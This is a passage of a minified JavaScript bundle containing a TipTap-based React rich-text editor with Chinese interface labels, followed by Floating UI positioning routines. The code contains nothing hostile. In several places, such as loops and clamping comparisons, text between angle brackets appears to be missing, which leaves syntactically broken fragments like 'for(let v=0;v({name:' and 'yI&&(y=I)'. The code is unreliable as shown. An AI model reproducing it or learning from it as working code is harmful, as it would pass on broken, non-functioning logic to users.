${i}

`))}return r.join("")}const G$=Cn.create({name:"linkTag",group:"inline",inline:!0,selectable:!0,atom:!0,addAttributes(){return{label:{default:""},url:{default:""},tagType:{default:"url",parseHTML:t=>t.getAttribute("data-tag-type")||"url"},tagId:{default:"",parseHTML:t=>t.getAttribute("data-tag-id")||""},pagePath:{default:"",parseHTML:t=>t.getAttribute("data-page-path")||""},appId:{default:"",parseHTML:t=>t.getAttribute("data-app-id")||""},mpKey:{default:"",parseHTML:t=>t.getAttribute("data-mp-key")||""}}},parseHTML(){return[{tag:'span[data-type="linkTag"]',getAttrs:t=>{var e;return{label:((e=t.textContent)==null?void 0:e.replace(/^#/,"").trim())||"",url:t.getAttribute("data-url")||"",tagType:t.getAttribute("data-tag-type")||"url",tagId:t.getAttribute("data-tag-id")||"",pagePath:t.getAttribute("data-page-path")||"",appId:t.getAttribute("data-app-id")||"",mpKey:t.getAttribute("data-mp-key")||""}}}]},renderHTML({node:t,HTMLAttributes:e}){return["span",St(e,{"data-type":"linkTag","data-url":t.attrs.url,"data-tag-type":t.attrs.tagType,"data-tag-id":t.attrs.tagId,"data-page-path":t.attrs.pagePath,"data-app-id":t.attrs.appId||"","data-mp-key":t.attrs.mpKey||t.attrs.appId||"",class:"link-tag-node"}),`#${t.attrs.label}`]}});function ow(t){const e=document.createElement("div");return e.textContent=t,e.innerHTML}const J$=t=>({items:({query:e})=>t.filter(n=>n.name.toLowerCase().includes(e.toLowerCase())||n.id.includes(e)).slice(0,8),render:()=>{let e=null,n=0,r=[],a=null;const i=()=>{e&&(e.innerHTML=r.map((o,c)=>`
@${ow(o.name)} ${ow(o.label||o.id)} -
`).join(""),e.querySelectorAll(".mention-item").forEach(o=>{o.addEventListener("click",()=>{const c=parseInt(o.getAttribute("data-index")||"0");a&&r[c]&&a({id:r[c].id,label:r[c].name})})}))};return{onStart:o=>{if(e=document.createElement("div"),e.className="mention-popup",document.body.appendChild(e),r=o.items,a=o.command,n=0,i(),o.clientRect){const c=o.clientRect();c&&(e.style.top=`${c.bottom+4}px`,e.style.left=`${c.left}px`)}},onUpdate:o=>{if(r=o.items,a=o.command,n=0,i(),o.clientRect&&e){const c=o.clientRect();c&&(e.style.top=`${c.bottom+4}px`,e.style.left=`${c.left}px`)}},onKeyDown:o=>o.event.key==="ArrowUp"?(n=Math.max(0,n-1),i(),!0):o.event.key==="ArrowDown"?(n=Math.min(r.length-1,n+1),i(),!0):o.event.key==="Enter"?(a&&r[n]&&a({id:r[n].id,label:r[n].name}),!0):o.event.key==="Escape"?(e==null||e.remove(),e=null,!0):!1,onExit:()=>{e==null||e.remove(),e=null}}}});function Y$(t){var r;const e=[],n=(r=t.clipboardData)==null?void 0:r.items;if(!n)return e;for(let a=0;a{const u=b.useRef(null),h=b.useRef(null),[f,m]=b.useState(""),[g,y]=b.useState(!1),N=b.useRef(iw(t)),w=b.useCallback((T,I)=>{var D;const O=h.current;if(!O||!n)return!1;const L=Y$(I);if(L.length>0)return I.preventDefault(),(async()=>{for(const _ of L)try{const Z=await n(_);Z&&O.chain().focus().setImage({src:Z}).run()}catch(Z){console.error("粘贴图片上传失败",Z)}})(),!0;const R=(D=I.clipboardData)==null?void 0:D.getData("text/html");if(R&&/data:image\/[^;"']+;base64,/i.test(R)){I.preventDefault();const{from:_,to:Z}=O.state.selection;return(async()=>{try{const ne=await Z$(R,n);O.chain().focus().insertContentAt({from:_,to:Z},ne).run()}catch(ne){console.error("粘贴 HTML 内 base64 转换失败",ne)}})(),!0}return!1},[n]),v=H_({extensions:[Az.configure({link:{openOnClick:!1,HTMLAttributes:{class:"rich-link"}}}),Pz.configure({inline:!0,allowBase64:!0}),$z.configure({HTMLAttributes:{class:"mention-tag"},suggestion:J$(r)}),G$,Fz.configure({placeholder:i}),FC.configure({resizable:!0}),$C,_C,zC],content:N.current,onUpdate:({editor:T})=>{e(T.getHTML())},editorProps:{attributes:{class:"rich-editor-content"},handlePaste:w}});b.useEffect(()=>{h.current=v??null},[v]),b.useImperativeHandle(c,()=>({getHTML:()=>(v==null?void 0:v.getHTML())||"",getMarkdown:()=>q$((v==null?void 0:v.getHTML())||"")})),b.useEffect(()=>{if(v&&t!==v.getHTML()){const T=iw(t);T!==v.getHTML()&&v.commands.setContent(T)}},[t]);const k=b.useCallback(async T=>{var O;const I=(O=T.target.files)==null?void 0:O[0];if(!(!I||!v)){if(n){const L=await n(I);L&&v.chain().focus().setImage({src:L}).run()}else{const L=new FileReader;L.onload=()=>{typeof L.result=="string"&&v.chain().focus().setImage({src:L.result}).run()},L.readAsDataURL(I)}T.target.value=""}},[v,n]),C=b.useCallback(T=>{v&&v.chain().focus().insertContent({type:"linkTag",attrs:{label:T.label,url:T.url||"",tagType:T.type||"url",tagId:T.id||"",pagePath:T.pagePath||"",appId:T.appId||"",mpKey:T.type==="miniprogram"&&T.appId||""}}).run()},[v]),E=b.useCallback(()=>{!v||!f||(v.chain().focus().setLink({href:f}).run(),m(""),y(!1))},[v,f]);return v?s.jsxs("div",{className:`rich-editor-wrapper ${o||""}`,children:[s.jsxs("div",{className:"rich-editor-toolbar",children:[s.jsxs("div",{className:"toolbar-group",children:[s.jsx("button",{onClick:()=>v.chain().focus().toggleBold().run(),className:v.isActive("bold")?"is-active":"",type:"button",children:s.jsx(VT,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleItalic().run(),className:v.isActive("italic")?"is-active":"",type:"button",children:s.jsx(FM,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleStrike().run(),className:v.isActive("strike")?"is-active":"",type:"button",children:s.jsx(LA,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleCode().run(),className:v.isActive("code")?"is-active":"",type:"button",children:s.jsx(lM,{className:"w-4 h-4"})})]}),s.jsx("div",{className:"toolbar-divider"}),s.jsxs("div",{className:"toolbar-group",children:[s.jsx("button",{onClick:()=>v.chain().focus().toggleHeading({level:1}).run(),className:v.isActive("heading",{level:1})?"is-active":"",type:"button",children:s.jsx(AM,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleHeading({level:2}).run(),className:v.isActive("heading",{level:2})?"is-active":"",type:"button",children:s.jsx(RM,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleHeading({level:3}).run(),className:v.isActive("heading",{level:3})?"is-active":"",type:"button",children:s.jsx(OM,{className:"w-4 h-4"})})]}),s.jsx("div",{className:"toolbar-divider"}),s.jsxs("div",{className:"toolbar-group",children:[s.jsx("button",{onClick:()=>v.chain().focus().toggleBulletList().run(),className:v.isActive("bulletList")?"is-active":"",type:"button",children:s.jsx(JM,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleOrderedList().run(),className:v.isActive("orderedList")?"is-active":"",type:"button",children:s.jsx(qM,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleBlockquote().run(),className:v.isActive("blockquote")?"is-active":"",type:"button",children:s.jsx(NA,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().setHorizontalRule().run(),type:"button",children:s.jsx(iA,{className:"w-4 h-4"})})]}),s.jsx("div",{className:"toolbar-divider"}),s.jsxs("div",{className:"toolbar-group",children:[s.jsx("input",{ref:u,type:"file",accept:"image/*",onChange:k,className:"hidden"}),s.jsx("button",{onClick:()=>{var T;return(T=u.current)==null?void 0:T.click()},type:"button",children:s.jsx(Zw,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>y(!g),className:v.isActive("link")?"is-active":"",type:"button",children:s.jsx(Pg,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().insertTable({rows:3,cols:3,withHeaderRow:!0}).run(),type:"button",children:s.jsx(zA,{className:"w-4 h-4"})})]}),s.jsx("div",{className:"toolbar-divider"}),s.jsxs("div",{className:"toolbar-group",children:[s.jsx("button",{onClick:()=>v.chain().focus().undo().run(),disabled:!v.can().undo(),type:"button",children:s.jsx(UA,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().redo().run(),disabled:!v.can().redo(),type:"button",children:s.jsx(jA,{className:"w-4 h-4"})})]}),a.length>0&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"toolbar-divider"}),s.jsx("div",{className:"toolbar-group",children:s.jsxs("select",{className:"link-tag-select",onChange:T=>{const I=a.find(O=>O.id===T.target.value);I&&C(I),T.target.value=""},defaultValue:"",children:[s.jsx("option",{value:"",disabled:!0,children:"# 插入链接标签"}),a.map(T=>s.jsx("option",{value:T.id,children:T.label},T.id))]})})]})]}),g&&s.jsxs("div",{className:"link-input-bar",children:[s.jsx("input",{type:"url",placeholder:"输入链接地址...",value:f,onChange:T=>m(T.target.value),onKeyDown:T=>T.key==="Enter"&&E(),className:"link-input"}),s.jsx("button",{onClick:E,className:"link-confirm",type:"button",children:"确定"}),s.jsx("button",{onClick:()=>{v.chain().focus().unsetLink().run(),y(!1)},className:"link-remove",type:"button",children:"移除"})]}),s.jsx(Q2,{editor:v})]}):null});Ex.displayName="RichEditor";const eF=["top","right","bottom","left"],wi=Math.min,zr=Math.max,af=Math.round,Qu=Math.floor,Ws=t=>({x:t,y:t}),tF={left:"right",right:"left",bottom:"top",top:"bottom"},nF={start:"end",end:"start"};function Tx(t,e,n){return zr(t,wi(e,n))}function Sa(t,e){return typeof t=="function"?t(e):t}function Ca(t){return t.split("-")[0]}function Fl(t){return t.split("-")[1]}function G0(t){return t==="x"?"y":"x"}function J0(t){return t==="y"?"height":"width"}const rF=new Set(["top","bottom"]);function Hs(t){return rF.has(Ca(t))?"y":"x"}function Y0(t){return G0(Hs(t))}function sF(t,e,n){n===void 0&&(n=!1);const r=Fl(t),a=Y0(t),i=J0(a);let o=a==="x"?r===(n?"end":"start")?"right":"left":r==="start"?"bottom":"top";return e.reference[i]>e.floating[i]&&(o=of(o)),[o,of(o)]}function aF(t){const e=of(t);return[Mx(t),e,Mx(e)]}function Mx(t){return t.replace(/start|end/g,e=>nF[e])}const lw=["left","right"],cw=["right","left"],iF=["top","bottom"],oF=["bottom","top"];function lF(t,e,n){switch(t){case"top":case"bottom":return n?e?cw:lw:e?lw:cw;case"left":case"right":return e?iF:oF;default:return[]}}function cF(t,e,n,r){const a=Fl(t);let i=lF(Ca(t),n==="start",r);return a&&(i=i.map(o=>o+"-"+a),e&&(i=i.concat(i.map(Mx)))),i}function of(t){return t.replace(/left|right|bottom|top/g,e=>tF[e])}function dF(t){return{top:0,right:0,bottom:0,left:0,...t}}function BC(t){return typeof t!="number"?dF(t):{top:t,right:t,bottom:t,left:t}}function lf(t){const{x:e,y:n,width:r,height:a}=t;return{width:r,height:a,top:n,left:e,right:e+r,bottom:n+a,x:e,y:n}}function dw(t,e,n){let{reference:r,floating:a}=t;const i=Hs(e),o=Y0(e),c=J0(o),u=Ca(e),h=i==="y",f=r.x+r.width/2-a.width/2,m=r.y+r.height/2-a.height/2,g=r[c]/2-a[c]/2;let y;switch(u){case"top":y={x:f,y:r.y-a.height};break;case"bottom":y={x:f,y:r.y+r.height};break;case"right":y={x:r.x+r.width,y:m};break;case"left":y={x:r.x-a.width,y:m};break;default:y={x:r.x,y:r.y}}switch(Fl(e)){case"start":y[o]-=g*(n&&h?-1:1);break;case"end":y[o]+=g*(n&&h?-1:1);break}return y}async function uF(t,e){var n;e===void 0&&(e={});const{x:r,y:a,platform:i,rects:o,elements:c,strategy:u}=t,{boundary:h="clippingAncestors",rootBoundary:f="viewport",elementContext:m="floating",altBoundary:g=!1,padding:y=0}=Sa(e,t),N=BC(y),v=c[g?m==="floating"?"reference":"floating":m],k=lf(await i.getClippingRect({element:(n=await(i.isElement==null?void 0:i.isElement(v)))==null||n?v:v.contextElement||await(i.getDocumentElement==null?void 0:i.getDocumentElement(c.floating)),boundary:h,rootBoundary:f,strategy:u})),C=m==="floating"?{x:r,y:a,width:o.floating.width,height:o.floating.height}:o.reference,E=await(i.getOffsetParent==null?void 0:i.getOffsetParent(c.floating)),T=await(i.isElement==null?void 0:i.isElement(E))?await(i.getScale==null?void 0:i.getScale(E))||{x:1,y:1}:{x:1,y:1},I=lf(i.convertOffsetParentRelativeRectToViewportRelativeRect?await i.convertOffsetParentRelativeRectToViewportRelativeRect({elements:c,rect:C,offsetParent:E,strategy:u}):C);return{top:(k.top-I.top+N.top)/T.y,bottom:(I.bottom-k.bottom+N.bottom)/T.y,left:(k.left-I.left+N.left)/T.x,right:(I.right-k.right+N.right)/T.x}}const hF=async(t,e,n)=>{const{placement:r="bottom",strategy:a="absolute",middleware:i=[],platform:o}=n,c=i.filter(Boolean),u=await(o.isRTL==null?void 0:o.isRTL(e));let h=await o.getElementRects({reference:t,floating:e,strategy:a}),{x:f,y:m}=dw(h,r,u),g=r,y={},N=0;for(let v=0;v({name:"arrow",options:t,async fn(e){const{x:n,y:r,placement:a,rects:i,platform:o,elements:c,middlewareData:u}=e,{element:h,padding:f=0}=Sa(t,e)||{};if(h==null)return{};const m=BC(f),g={x:n,y:r},y=Y0(a),N=J0(y),w=await o.getDimensions(h),v=y==="y",k=v?"top":"left",C=v?"bottom":"right",E=v?"clientHeight":"clientWidth",T=i.reference[N]+i.reference[y]-g[y]-i.floating[N],I=g[y]-i.reference[y],O=await(o.getOffsetParent==null?void 0:o.getOffsetParent(h));let L=O?O[E]:0;(!L||!await(o.isElement==null?void 0:o.isElement(O)))&&(L=c.floating[E]||i.floating[N]);const R=T/2-I/2,D=L/2-w[N]/2-1,_=wi(m[k],D),Z=wi(m[C],D),ne=_,fe=L-w[N]-Z,xe=L/2-w[N]/2+R,$=Tx(ne,xe,fe),H=!u.arrow&&Fl(a)!=null&&xe!==$&&i.reference[N]/2-(xexe<=0)){var Z,ne;const xe=(((Z=i.flip)==null?void 0:Z.index)||0)+1,$=L[xe];if($&&(!(m==="alignment"?C!==Hs($):!1)||_.every(P=>Hs(P.placement)===C?P.overflows[0]>0:!0)))return{data:{index:xe,overflows:_},reset:{placement:$}};let H=(ne=_.filter(oe=>oe.overflows[0]<=0).sort((oe,P)=>oe.overflows[1]-P.overflows[1])[0])==null?void 0:ne.placement;if(!H)switch(y){case"bestFit":{var fe;const oe=(fe=_.filter(P=>{if(O){const K=Hs(P.placement);return K===C||K==="y"}return!0}).map(P=>[P.placement,P.overflows.filter(K=>K>0).reduce((K,V)=>K+V,0)]).sort((P,K)=>P[1]-K[1])[0])==null?void 0:fe[0];oe&&(H=oe);break}case"initialPlacement":H=c;break}if(a!==H)return{reset:{placement:H}}}return{}}}};function uw(t,e){return{top:t.top-e.height,right:t.right-e.width,bottom:t.bottom-e.height,left:t.left-e.width}}function hw(t){return eF.some(e=>t[e]>=0)}const mF=function(t){return t===void 0&&(t={}),{name:"hide",options:t,async fn(e){const{rects:n,platform:r}=e,{strategy:a="referenceHidden",...i}=Sa(t,e);switch(a){case"referenceHidden":{const o=await r.detectOverflow(e,{...i,elementContext:"reference"}),c=uw(o,n.reference);return{data:{referenceHiddenOffsets:c,referenceHidden:hw(c)}}}case"escaped":{const o=await r.detectOverflow(e,{...i,altBoundary:!0}),c=uw(o,n.floating);return{data:{escapedOffsets:c,escaped:hw(c)}}}default:return{}}}}},VC=new Set(["left","top"]);async function gF(t,e){const{placement:n,platform:r,elements:a}=t,i=await(r.isRTL==null?void 0:r.isRTL(a.floating)),o=Ca(n),c=Fl(n),u=Hs(n)==="y",h=VC.has(o)?-1:1,f=i&&u?-1:1,m=Sa(e,t);let{mainAxis:g,crossAxis:y,alignmentAxis:N}=typeof m=="number"?{mainAxis:m,crossAxis:0,alignmentAxis:null}:{mainAxis:m.mainAxis||0,crossAxis:m.crossAxis||0,alignmentAxis:m.alignmentAxis};return c&&typeof N=="number"&&(y=c==="end"?N*-1:N),u?{x:y*f,y:g*h}:{x:g*h,y:y*f}}const xF=function(t){return t===void 0&&(t=0),{name:"offset",options:t,async fn(e){var n,r;const{x:a,y:i,placement:o,middlewareData:c}=e,u=await gF(e,t);return o===((n=c.offset)==null?void 0:n.placement)&&(r=c.arrow)!=null&&r.alignmentOffset?{}:{x:a+u.x,y:i+u.y,data:{...u,placement:o}}}}},yF=function(t){return t===void 0&&(t={}),{name:"shift",options:t,async fn(e){const{x:n,y:r,placement:a,platform:i}=e,{mainAxis:o=!0,crossAxis:c=!1,limiter:u={fn:k=>{let{x:C,y:E}=k;return{x:C,y:E}}},...h}=Sa(t,e),f={x:n,y:r},m=await i.detectOverflow(e,h),g=Hs(Ca(a)),y=G0(g);let N=f[y],w=f[g];if(o){const k=y==="y"?"top":"left",C=y==="y"?"bottom":"right",E=N+m[k],T=N-m[C];N=Tx(E,N,T)}if(c){const k=g==="y"?"top":"left",C=g==="y"?"bottom":"right",E=w+m[k],T=w-m[C];w=Tx(E,w,T)}const v=u.fn({...e,[y]:N,[g]:w});return{...v,data:{x:v.x-n,y:v.y-r,enabled:{[y]:o,[g]:c}}}}}},bF=function(t){return t===void 0&&(t={}),{options:t,fn(e){const{x:n,y:r,placement:a,rects:i,middlewareData:o}=e,{offset:c=0,mainAxis:u=!0,crossAxis:h=!0}=Sa(t,e),f={x:n,y:r},m=Hs(a),g=G0(m);let y=f[g],N=f[m];const w=Sa(c,e),v=typeof w=="number"?{mainAxis:w,crossAxis:0}:{mainAxis:0,crossAxis:0,...w};if(u){const E=g==="y"?"height":"width",T=i.reference[g]-i.floating[E]+v.mainAxis,I=i.reference[g]+i.reference[E]-v.mainAxis;yI&&(y=I)}if(h){var k,C;const E=g==="y"?"width":"height",T=VC.has(Ca(a)),I=i.reference[m]-i.floating[E]+(T&&((k=o.offset)==null?void 0:k[m])||0)+(T?0:v.crossAxis),O=i.reference[m]+i.reference[E]+(T?0:((C=o.offset)==null?void 0:C[m])||0)-(T?v.crossAxis:0);NO&&(N=O)}return{[g]:y,[m]:N}}}},vF=function(t){return t===void 0&&(t={}),{name:"size",options:t,async fn(e){var n,r;const{placement:a,rects:i,platform:o,elements:c}=e,{apply:u=()=>{},...h}=Sa(t,e),f=await o.detectOverflow(e,h),m=Ca(a),g=Fl(a),y=Hs(a)==="y",{width:N,height:w}=i.floating;let v,k;m==="top"||m==="bottom"?(v=m,k=g===(await(o.isRTL==null?void 0:o.isRTL(c.floating))?"start":"end")?"left":"right"):(k=m,v=g==="end"?"top":"bottom");const C=w-f.top-f.bottom,E=N-f.left-f.right,T=wi(w-f[v],C),I=wi(N-f[k],E),O=!e.middlewareData.shift;let L=T,R=I;if((n=e.middlewareData.shift)!=null&&n.enabled.x&&(R=E),(r=e.middlewareData.shift)!=null&&r.enabled.y&&(L=C),O&&!g){const _=zr(f.left,0),Z=zr(f.right,0),ne=zr(f.top,0),fe=zr(f.bottom,0);y?R=N-2*(_!==0||Z!==0?_+Z:zr(f.left,f.right)):L=w-2*(ne!==0||fe!==0?ne+fe:zr(f.top,f.bottom))}await u({...e,availableWidth:R,availableHeight:L});const D=await o.getDimensions(c.floating);return N!==D.width||w!==D.height?{reset:{rects:!0}}:{}}}};function $f(){return typeof window<"u"}function Bl(t){return HC(t)?(t.nodeName||"").toLowerCase():"#document"}function Hr(t){var e;return(t==null||(e=t.ownerDocument)==null?void 0:e.defaultView)||window}function Ys(t){var e;return(e=(HC(t)?t.ownerDocument:t.document)||window.document)==null?void 0:e.documentElement}function HC(t){return $f()?t instanceof Node||t instanceof Hr(t).Node:!1}function Cs(t){return $f()?t instanceof Element||t instanceof Hr(t).Element:!1}function Gs(t){return $f()?t instanceof HTMLElement||t instanceof Hr(t).HTMLElement:!1}function fw(t){return!$f()||typeof ShadowRoot>"u"?!1:t instanceof ShadowRoot||t instanceof Hr(t).ShadowRoot}const NF=new Set(["inline","contents"]);function jd(t){const{overflow:e,overflowX:n,overflowY:r,display:a}=Es(t);return/auto|scroll|overlay|hidden|clip/.test(e+r+n)&&!NF.has(a)}const wF=new Set(["table","td","th"]);function jF(t){return wF.has(Bl(t))}const kF=[":popover-open",":modal"];function Ff(t){return kF.some(e=>{try{return t.matches(e)}catch{return!1}})}const SF=["transform","translate","scale","rotate","perspective"],CF=["transform","translate","scale","rotate","perspective","filter"],EF=["paint","layout","strict","content"];function Q0(t){const e=X0(),n=Cs(t)?Es(t):t;return SF.some(r=>n[r]?n[r]!=="none":!1)||(n.containerType?n.containerType!=="normal":!1)||!e&&(n.backdropFilter?n.backdropFilter!=="none":!1)||!e&&(n.filter?n.filter!=="none":!1)||CF.some(r=>(n.willChange||"").includes(r))||EF.some(r=>(n.contain||"").includes(r))}function TF(t){let e=ji(t);for(;Gs(e)&&!Il(e);){if(Q0(e))return e;if(Ff(e))return null;e=ji(e)}return null}function X0(){return typeof CSS>"u"||!CSS.supports?!1:CSS.supports("-webkit-backdrop-filter","none")}const MF=new Set(["html","body","#document"]);function Il(t){return MF.has(Bl(t))}function Es(t){return Hr(t).getComputedStyle(t)}function Bf(t){return Cs(t)?{scrollLeft:t.scrollLeft,scrollTop:t.scrollTop}:{scrollLeft:t.scrollX,scrollTop:t.scrollY}}function ji(t){if(Bl(t)==="html")return t;const e=t.assignedSlot||t.parentNode||fw(t)&&t.host||Ys(t);return fw(e)?e.host:e}function WC(t){const e=ji(t);return Il(e)?t.ownerDocument?t.ownerDocument.body:t.body:Gs(e)&&jd(e)?e:WC(e)}function fd(t,e,n){var r;e===void 0&&(e=[]),n===void 0&&(n=!0);const a=WC(t),i=a===((r=t.ownerDocument)==null?void 0:r.body),o=Hr(a);if(i){const c=Ax(o);return e.concat(o,o.visualViewport||[],jd(a)?a:[],c&&n?fd(c):[])}return e.concat(a,fd(a,[],n))}function Ax(t){return t.parent&&Object.getPrototypeOf(t.parent)?t.frameElement:null}function UC(t){const e=Es(t);let n=parseFloat(e.width)||0,r=parseFloat(e.height)||0;const a=Gs(t),i=a?t.offsetWidth:n,o=a?t.offsetHeight:r,c=af(n)!==i||af(r)!==o;return c&&(n=i,r=o),{width:n,height:r,$:c}}function Z0(t){return Cs(t)?t:t.contextElement}function wl(t){const e=Z0(t);if(!Gs(e))return Ws(1);const n=e.getBoundingClientRect(),{width:r,height:a,$:i}=UC(e);let o=(i?af(n.width):n.width)/r,c=(i?af(n.height):n.height)/a;return(!o||!Number.isFinite(o))&&(o=1),(!c||!Number.isFinite(c))&&(c=1),{x:o,y:c}}const AF=Ws(0);function KC(t){const e=Hr(t);return!X0()||!e.visualViewport?AF:{x:e.visualViewport.offsetLeft,y:e.visualViewport.offsetTop}}function IF(t,e,n){return e===void 0&&(e=!1),!n||e&&n!==Hr(t)?!1:e}function Co(t,e,n,r){e===void 0&&(e=!1),n===void 0&&(n=!1);const a=t.getBoundingClientRect(),i=Z0(t);let o=Ws(1);e&&(r?Cs(r)&&(o=wl(r)):o=wl(t));const c=IF(i,n,r)?KC(i):Ws(0);let u=(a.left+c.x)/o.x,h=(a.top+c.y)/o.y,f=a.width/o.x,m=a.height/o.y;if(i){const g=Hr(i),y=r&&Cs(r)?Hr(r):r;let N=g,w=Ax(N);for(;w&&r&&y!==N;){const v=wl(w),k=w.getBoundingClientRect(),C=Es(w),E=k.left+(w.clientLeft+parseFloat(C.paddingLeft))*v.x,T=k.top+(w.clientTop+parseFloat(C.paddingTop))*v.y;u*=v.x,h*=v.y,f*=v.x,m*=v.y,u+=E,h+=T,N=Hr(w),w=Ax(N)}}return lf({width:f,height:m,x:u,y:h})}function Vf(t,e){const n=Bf(t).scrollLeft;return e?e.left+n:Co(Ys(t)).left+n}function qC(t,e){const n=t.getBoundingClientRect(),r=n.left+e.scrollLeft-Vf(t,n),a=n.top+e.scrollTop;return{x:r,y:a}}function RF(t){let{elements:e,rect:n,offsetParent:r,strategy:a}=t;const i=a==="fixed",o=Ys(r),c=e?Ff(e.floating):!1;if(r===o||c&&i)return n;let u={scrollLeft:0,scrollTop:0},h=Ws(1);const f=Ws(0),m=Gs(r);if((m||!m&&!i)&&((Bl(r)!=="body"||jd(o))&&(u=Bf(r)),Gs(r))){const y=Co(r);h=wl(r),f.x=y.x+r.clientLeft,f.y=y.y+r.clientTop}const g=o&&!m&&!i?qC(o,u):Ws(0);return{width:n.width*h.x,height:n.height*h.y,x:n.x*h.x-u.scrollLeft*h.x+f.x+g.x,y:n.y*h.y-u.scrollTop*h.y+f.y+g.y}}function PF(t){return Array.from(t.getClientRects())}function OF(t){const e=Ys(t),n=Bf(t),r=t.ownerDocument.body,a=zr(e.scrollWidth,e.clientWidth,r.scrollWidth,r.clientWidth),i=zr(e.scrollHeight,e.clientHeight,r.scrollHeight,r.clientHeight);let o=-n.scrollLeft+Vf(t);const c=-n.scrollTop;return Es(r).direction==="rtl"&&(o+=zr(e.clientWidth,r.clientWidth)-a),{width:a,height:i,x:o,y:c}}const pw=25;function DF(t,e){const n=Hr(t),r=Ys(t),a=n.visualViewport;let i=r.clientWidth,o=r.clientHeight,c=0,u=0;if(a){i=a.width,o=a.height;const f=X0();(!f||f&&e==="fixed")&&(c=a.offsetLeft,u=a.offsetTop)}const h=Vf(r);if(h<=0){const f=r.ownerDocument,m=f.body,g=getComputedStyle(m),y=f.compatMode==="CSS1Compat"&&parseFloat(g.marginLeft)+parseFloat(g.marginRight)||0,N=Math.abs(r.clientWidth-m.clientWidth-y);N<=pw&&(i-=N)}else h<=pw&&(i+=h);return{width:i,height:o,x:c,y:u}}const LF=new Set(["absolute","fixed"]);function _F(t,e){const n=Co(t,!0,e==="fixed"),r=n.top+t.clientTop,a=n.left+t.clientLeft,i=Gs(t)?wl(t):Ws(1),o=t.clientWidth*i.x,c=t.clientHeight*i.y,u=a*i.x,h=r*i.y;return{width:o,height:c,x:u,y:h}}function mw(t,e,n){let r;if(e==="viewport")r=DF(t,n);else if(e==="document")r=OF(Ys(t));else if(Cs(e))r=_F(e,n);else{const a=KC(t);r={x:e.x-a.x,y:e.y-a.y,width:e.width,height:e.height}}return lf(r)}function GC(t,e){const n=ji(t);return n===e||!Cs(n)||Il(n)?!1:Es(n).position==="fixed"||GC(n,e)}function zF(t,e){const n=e.get(t);if(n)return n;let r=fd(t,[],!1).filter(c=>Cs(c)&&Bl(c)!=="body"),a=null;const i=Es(t).position==="fixed";let o=i?ji(t):t;for(;Cs(o)&&!Il(o);){const c=Es(o),u=Q0(o);!u&&c.position==="fixed"&&(a=null),(i?!u&&!a:!u&&c.position==="static"&&!!a&&LF.has(a.position)||jd(o)&&!u&&GC(t,o))?r=r.filter(f=>f!==o):a=c,o=ji(o)}return e.set(t,r),r}function $F(t){let{element:e,boundary:n,rootBoundary:r,strategy:a}=t;const o=[...n==="clippingAncestors"?Ff(e)?[]:zF(e,this._c):[].concat(n),r],c=o[0],u=o.reduce((h,f)=>{const m=mw(e,f,a);return h.top=zr(m.top,h.top),h.right=wi(m.right,h.right),h.bottom=wi(m.bottom,h.bottom),h.left=zr(m.left,h.left),h},mw(e,c,a));return{width:u.right-u.left,height:u.bottom-u.top,x:u.left,y:u.top}}function FF(t){const{width:e,height:n}=UC(t);return{width:e,height:n}}function BF(t,e,n){const r=Gs(e),a=Ys(e),i=n==="fixed",o=Co(t,!0,i,e);let c={scrollLeft:0,scrollTop:0};const u=Ws(0);function h(){u.x=Vf(a)}if(r||!r&&!i)if((Bl(e)!=="body"||jd(a))&&(c=Bf(e)),r){const y=Co(e,!0,i,e);u.x=y.x+e.clientLeft,u.y=y.y+e.clientTop}else a&&h();i&&!r&&a&&h();const f=a&&!r&&!i?qC(a,c):Ws(0),m=o.left+c.scrollLeft-u.x-f.x,g=o.top+c.scrollTop-u.y-f.y;return{x:m,y:g,width:o.width,height:o.height}}function bg(t){return Es(t).position==="static"}function gw(t,e){if(!Gs(t)||Es(t).position==="fixed")return null;if(e)return e(t);let n=t.offsetParent;return Ys(t)===n&&(n=n.ownerDocument.body),n}function JC(t,e){const n=Hr(t);if(Ff(t))return n;if(!Gs(t)){let a=ji(t);for(;a&&!Il(a);){if(Cs(a)&&!bg(a))return a;a=ji(a)}return n}let r=gw(t,e);for(;r&&jF(r)&&bg(r);)r=gw(r,e);return r&&Il(r)&&bg(r)&&!Q0(r)?n:r||TF(t)||n}const VF=async function(t){const e=this.getOffsetParent||JC,n=this.getDimensions,r=await n(t.floating);return{reference:BF(t.reference,await e(t.floating),t.strategy),floating:{x:0,y:0,width:r.width,height:r.height}}};function HF(t){return Es(t).direction==="rtl"}const WF={convertOffsetParentRelativeRectToViewportRelativeRect:RF,getDocumentElement:Ys,getClippingRect:$F,getOffsetParent:JC,getElementRects:VF,getClientRects:PF,getDimensions:FF,getScale:wl,isElement:Cs,isRTL:HF};function YC(t,e){return t.x===e.x&&t.y===e.y&&t.width===e.width&&t.height===e.height}function UF(t,e){let n=null,r;const a=Ys(t);function i(){var c;clearTimeout(r),(c=n)==null||c.disconnect(),n=null}function o(c,u){c===void 0&&(c=!1),u===void 0&&(u=1),i();const h=t.getBoundingClientRect(),{left:f,top:m,width:g,height:y}=h;if(c||e(),!g||!y)return;const N=Qu(m),w=Qu(a.clientWidth-(f+g)),v=Qu(a.clientHeight-(m+y)),k=Qu(f),E={rootMargin:-N+"px "+-w+"px "+-v+"px "+-k+"px",threshold:zr(0,wi(1,u))||1};let T=!0;function I(O){const L=O[0].intersectionRatio;if(L!==u){if(!T)return o();L?o(!1,L):r=setTimeout(()=>{o(!1,1e-7)},1e3)}L===1&&!YC(h,t.getBoundingClientRect())&&o(),T=!1}try{n=new IntersectionObserver(I,{...E,root:a.ownerDocument})}catch{n=new IntersectionObserver(I,E)}n.observe(t)}return o(!0),i}function KF(t,e,n,r){r===void 0&&(r={});const{ancestorScroll:a=!0,ancestorResize:i=!0,elementResize:o=typeof ResizeObserver=="function",layoutShift:c=typeof 